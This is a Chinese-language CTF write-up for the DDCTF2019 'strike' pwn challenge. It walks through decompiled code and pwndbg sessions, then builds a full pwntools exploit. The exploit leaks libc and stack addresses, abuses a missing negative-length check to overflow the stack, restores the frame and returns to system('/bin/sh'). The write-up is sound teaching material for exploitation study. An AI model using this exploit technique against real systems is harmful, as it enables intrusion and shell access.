DDCTF2019 Pwn strike

TOC

  1. 1. 程序功能介绍
    1. 1.1. 安全防护
    2. 1.2. 主程序
    3. 1.3. input_username
  2. 2. 漏洞
    1. 2.1. 泄露libc基地址和栈地址
    2. 2.2. 构造stack
  3. 3. 完整脚本
  4. 4. 总结

源文件、IDA分析文件打包下载:xpwn.zip

该题主要考验的是对栈的构造能力。在破坏栈的情况下也能使栈继续正常使用。

程序功能介绍

安全防护

ex@Ex:~/test$ checksec xpwn
[*] '/home/ex/test/xpwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE

主程序

int __cdecl main(int a1)
{
int v1; // eax
char buf; // [esp+0h] [ebp-4Ch]
size_t nbytes; // [esp+40h] [ebp-Ch]
int *v5; // [esp+44h] [ebp-8h]

v5 = &a1;
setbuf(stdout, 0);
input_username(stdin, stdout);
sleep(1u);
printf("Please set the length of password: ");
nbytes = get_number();
if ( (signed int)nbytes > 63 )
{
puts("Too long!");
exit(1);
}
printf("Enter password(lenth %u): ", nbytes);
v1 = fileno(stdin);
read(v1, &buf, nbytes);
puts("All done, bye!");
return 0;
}

get_number()就是从输入流读取一个数字,所以由用户来决定,具体代码可以看鄙人的IDA分析文件。

input_username

int __cdecl input_username(FILE *stdin, FILE *stdout)
{
int v2; // eax
char buf; // [esp+0h] [ebp-48h]

printf("Enter username: ");
v2 = fileno(stdin);
read(v2, &buf, 64u);
return fprintf(stdout, "Hello %s", &buf);
}

直接用read来读取输入流,意味着连\x00截断都没有。

漏洞

我们可以通过read函数泄露程序的libc基地址和栈地址。而主函数里面虽然对用户输入的数字有最大检查,却没有负数检查,所以程序存在栈溢出,在配合之前泄露的休息即可getshell。

  1. 泄露libc基地址和栈地址
  2. 构造stack

泄露libc基地址和栈地址

先用gdb调试一下,看看在input_username的栈的信息。

Breakpoint *0x08048610
pwndbg> stack
00:0000│ esp 0xffffcca0 ◂— 0x0
01:0004│ 0xffffcca4 —▸ 0xffffccb0 ◂— 0x61616161 ('aaaa')
02:0008│ 0xffffcca8 ◂— 0x40 /* '@' */
03:000c│ 0xffffccac ◂— 0x0
04:0010│ ecx 0xffffccb0 ◂— 0x61616161 ('aaaa')
05:0014│ 0xffffccb4 —▸ 0x804820a ◂— add byte ptr [eax], al
06:0018│ 0xffffccb8 ◂— 0xc2
07:001c│ 0xffffccbc ◂— 0x0
pwndbg>
08:0020│ 0xffffccc0 —▸ 0xf7fdf409 (do_lookup_x+9) ◂— add ebx, 0x1dbf7
09:0024│ 0xffffccc4 —▸ 0xf7de3318 ◂— inc ebx /* 'C,' */
0a:0028│ 0xffffccc8 —▸ 0xf7e3e15b (setbuffer+11) ◂— add edi, 0x16fea5
0b:002c│ 0xffffcccc ◂— 0x0
0c:0030│ 0xffffccd0 —▸ 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
0d:0034│ 0xffffccd4 ◂— 0x0
0e:0038│ 0xffffccd8 —▸ 0xffffcd68 ◂— 0x0
0f:003c│ 0xffffccdc —▸ 0xf7e44785 (setbuf+21) ◂— add esp, 0x1c
pwndbg>
10:0040│ 0xffffcce0 —▸ 0xf7faed80 (_IO_2_1_stdout_) ◂— 0xfbad2887
11:0044│ 0xffffcce4 ◂— 0x0
12:0048│ 0xffffcce8 ◂— 0x2000
13:004c│ 0xffffccec —▸ 0xf7e44770 (setbuf) ◂— sub esp, 0x10
14:0050│ 0xffffccf0 —▸ 0xf7faed80 (_IO_2_1_stdout_) ◂— 0xfbad2887
15:0054│ 0xffffccf4 —▸ 0xf7ffd940 ◂— 0x0
16:0058│ ebp 0xffffccf8 —▸ 0xffffcd68 ◂— 0x0
17:005c│ 0xffffccfc —▸ 0x80486a3 ◂— add esp, 0x10
pwndbg> p setbuf
$1 = {void (_IO_FILE *, char *)} 0xf7e44770 <setbuf>
pwndbg> p 0xffffccec-0xffffccb0
$2 = 60

从上面的栈可以看出,我们只要填充60个字符,便会溢出后面的值,而且下面的刚好是ebp的值,所以我们能直接确定栈地址。

16:0058│ ebp  0xffffccf8 —▸ 0xffffcd68 ◂— 0x0

下面是对应的代码

sh.recvuntil('Enter username: ')
sh.send('a' * 60)
sh.recvuntil('a' * 60)
setbuf_addr = sh.recv(4)
sh.recv(4 * 2)
main_ebp_addr = u32(sh.recv(4))
log.success('main_ebp_addr: ' + hex(main_ebp_addr))
libc_addr = u32(setbuf_addr) - libc.symbols['setbuf']
log.success('libc_addr: ' + hex(libc_addr))

构造stack

难点在于溢出时能恢复stack,如果不恢复stack,程序将直接崩溃。

让我们来看看main结尾的汇编代码:

.text:0804873A                 lea     esp, [ebp-8]
.text:0804873D pop ecx
.text:0804873E pop ebx
.text:0804873F pop ebp
.text:08048740 lea esp, [ecx-4]
.text:08048743 retn
.text:08048743 ; } // starts at 8048669
.text:08048743 main endp

lea esp, [ebp-8]lea esp, [ecx-4]看出,我们必须先计算好相对应的偏移,这里我输入的password是aaaa,下面是调试的代码。

Breakpoint 4, 0x0804873a in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0x0
EBX 0x8
ECX 0xf7faedc7 (_IO_2_1_stdout_+71) ◂— 0xfaf8900a
EDX 0xf7faf890 (_IO_stdfile_1_lock) ◂— 0x0
EDI 0x0
ESI 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
EBP 0xffffcd68 ◂— 0x0
ESP 0xffffcd10 ◂— 0x0
EIP 0x804873a ◂— lea esp, [ebp - 8]
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
► 0x804873a lea esp, [ebp - 8]
0x804873d pop ecx
0x804873e pop ebx
0x804873f pop ebp
0x8048740 lea esp, [ecx - 4]
0x8048743 ret

0xf7deee81 <__libc_start_main+241> add esp, 0x10
0xf7deee84 <__libc_start_main+244> sub esp, 0xc
0xf7deee87 <__libc_start_main+247> push eax
0xf7deee88 <__libc_start_main+248> call exit <0xf7e063d0>

0xf7deee8d <__libc_start_main+253> mov edi, dword ptr [esp + 8]
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
20:0080│ 0xffffcd80 ◂— 0x1
21:0084│ 0xffffcd84 —▸ 0xffffce14 —▸ 0xffffd00b ◂— '/home/ex/test/xpwn'
22:0088│ 0xffffcd88 —▸ 0xffffce1c —▸ 0xffffd01e ◂— 'CLUTTER_IM_MODULE=xim'
23:008c│ 0xffffcd8c —▸ 0xffffcda4 ◂— 0x0
24:0090│ 0xffffcd90 ◂— 0x1
25:0094│ 0xffffcd94 ◂— 0x0
26:0098│ 0xffffcd98 —▸ 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
27:009c│ 0xffffcd9c —▸ 0xf7fe575a (call_init.part+26) ◂— add edi, 0x178a6
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 804873a
f 1 f7deee81 __libc_start_main+241
Breakpoint *0x0804873A
pwndbg> stack
00:0000│ esp 0xffffcd10 ◂— 0x0
... ↓
03:000c│ 0xffffcd1c ◂— 'aaaa\n'
04:0010│ 0xffffcd20 ◂— 0xa /* '\n' */
05:0014│ 0xffffcd24 —▸ 0xffffd00b ◂— '/home/ex/test/xpwn'
06:0018│ 0xffffcd28 —▸ 0xf7e064a9 (__new_exitfn+9) ◂— add ebx, 0x1a7b57
07:001c│ 0xffffcd2c —▸ 0xf7fb1748 (__exit_funcs_lock) ◂— 0x0
pwndbg> x/wx $ebp-8
0xffffcd08: 0xffffcd60
pwndbg> p 0xffffcd60-0xffffcd1c
$3 = 68
pwndbg> x/wx 0xffffcd60
0xffffcd60: 0xffffcd80
pwndbg> p 0xffffcd80-0xffffcd68
$4 = 24

可以看出password的地址是0xffffcd1c,我们需要恢复的地址是0xffffcd60,上面已经计算出他与password的地址的偏移是68,所以开始的时候要先偏移68('a' * (68))。0xffffcd68ebp,而0xffffcd80为我们需要恢复的值,他和ebp的偏移是24,所以后面加上即可(main_ebp_addr + 24)。

然后直接stepret运行到ret处:

0x08048743 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0x0
EBX 0x0
ECX 0xffffcd80 ◂— 0x1
EDX 0xf7faf890 (_IO_stdfile_1_lock) ◂— 0x0
EDI 0x0
ESI 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
EBP 0x0
ESP 0xffffcd7c —▸ 0xf7deee81 (__libc_start_main+241) ◂— add esp, 0x10
EIP 0x8048743 ◂— ret
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
0x804873a lea esp, [ebp - 8]
0x804873d pop ecx
0x804873e pop ebx
0x804873f pop ebp
0x8048740 lea esp, [ecx - 4]
► 0x8048743 ret <0xf7deee81; __libc_start_main+241>

0xf7deee81 <__libc_start_main+241> add esp, 0x10
0xf7deee84 <__libc_start_main+244> sub esp, 0xc
0xf7deee87 <__libc_start_main+247> push eax
0xf7deee88 <__libc_start_main+248> call exit <0xf7e063d0>

0xf7deee8d <__libc_start_main+253> mov edi, dword ptr [esp + 8]
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffcd7c —▸ 0xf7deee81 (__libc_start_main+241) ◂— add esp, 0x10
01:0004│ ecx 0xffffcd80 ◂— 0x1
02:0008│ 0xffffcd84 —▸ 0xffffce14 —▸ 0xffffd00b ◂— '/home/ex/test/xpwn'
03:000c│ 0xffffcd88 —▸ 0xffffce1c —▸ 0xffffd01e ◂— 'CLUTTER_IM_MODULE=xim'
04:0010│ 0xffffcd8c —▸ 0xffffcda4 ◂— 0x0
05:0014│ 0xffffcd90 ◂— 0x1
06:0018│ 0xffffcd94 ◂— 0x0
07:001c│ 0xffffcd98 —▸ 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 8048743
f 1 f7deee81 __libc_start_main+241
pwndbg> p 0xffffcd7c-0xffffcd1c
$5 = 96

0xffffcd1c为我们输入的password字符串的地址,0xffffcd7c为main函数的返回地址,他们的偏移是96,所以我们要精心构建stack,让我们的system函数地址刚好在main函数的返回地址处('a' * (96-68-4)68和4为前面的填充)。

下面是对应的代码

sh.recvuntil('Please set the length of password: ')
sh.sendline('-1')

sh.recvuntil('): ')
system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
binsh_addr = libc_addr + libc.search('/bin/sh').next()
log.success('binsh_addr: ' + hex(binsh_addr))
# 恢复栈,避免崩溃
sh.send('a'*(68) + p32(main_ebp_addr + 24) +
'a'*(96-68-4) + p32(system_addr) + p32(libc_addr + libc.symbols['exit']) + p32(binsh_addr))

p32(libc_addr + libc.symbols['exit'])是为了让程序能够正常退出。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

elf = ELF('./xpwn')

# 远程getshell
# sh = remote('116.85.48.105',5005)
# libc = ELF('./libc.so.6')

sh = process('./xpwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

sh.recvuntil('Enter username: ')
sh.send('a' * 60)
sh.recvuntil('a' * 60)
setbuf_addr = sh.recv(4)
sh.recv(4 * 2)
main_ebp_addr = u32(sh.recv(4))
log.success('main_ebp_addr: ' + hex(main_ebp_addr))
libc_addr = u32(setbuf_addr) - libc.symbols['setbuf']
log.success('libc_addr: ' + hex(libc_addr))

sh.recvuntil('Please set the length of password: ')
sh.sendline('-1')

sh.recvuntil('): ')
system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
binsh_addr = libc_addr + libc.search('/bin/sh').next()
log.success('binsh_addr: ' + hex(binsh_addr))
# 恢复栈,避免崩溃
sh.send('a'*(68) + p32(main_ebp_addr + 24) +
'a'*(96-68-4) + p32(system_addr) +
p32(libc_addr + libc.symbols['exit']) +
p32(binsh_addr) + p32(0))

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行实例

ex@Ex:~/test$ ./exp.py 
[*] '/home/ex/test/xpwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
[+] Starting local process './xpwn': Done
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] main_ebp_addr: 0xffbf25b8
[+] libc_addr: 0xf7d93000
[+] system_addr: 0xf7dd0200
[+] binsh_addr: 0xf7f110cf
[*] Switching to interactive mode
All done, bye!
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark)
$

总结

代码审计得到的结果总是会有些许偏差,多上机调试,这样会更快发现漏洞在哪。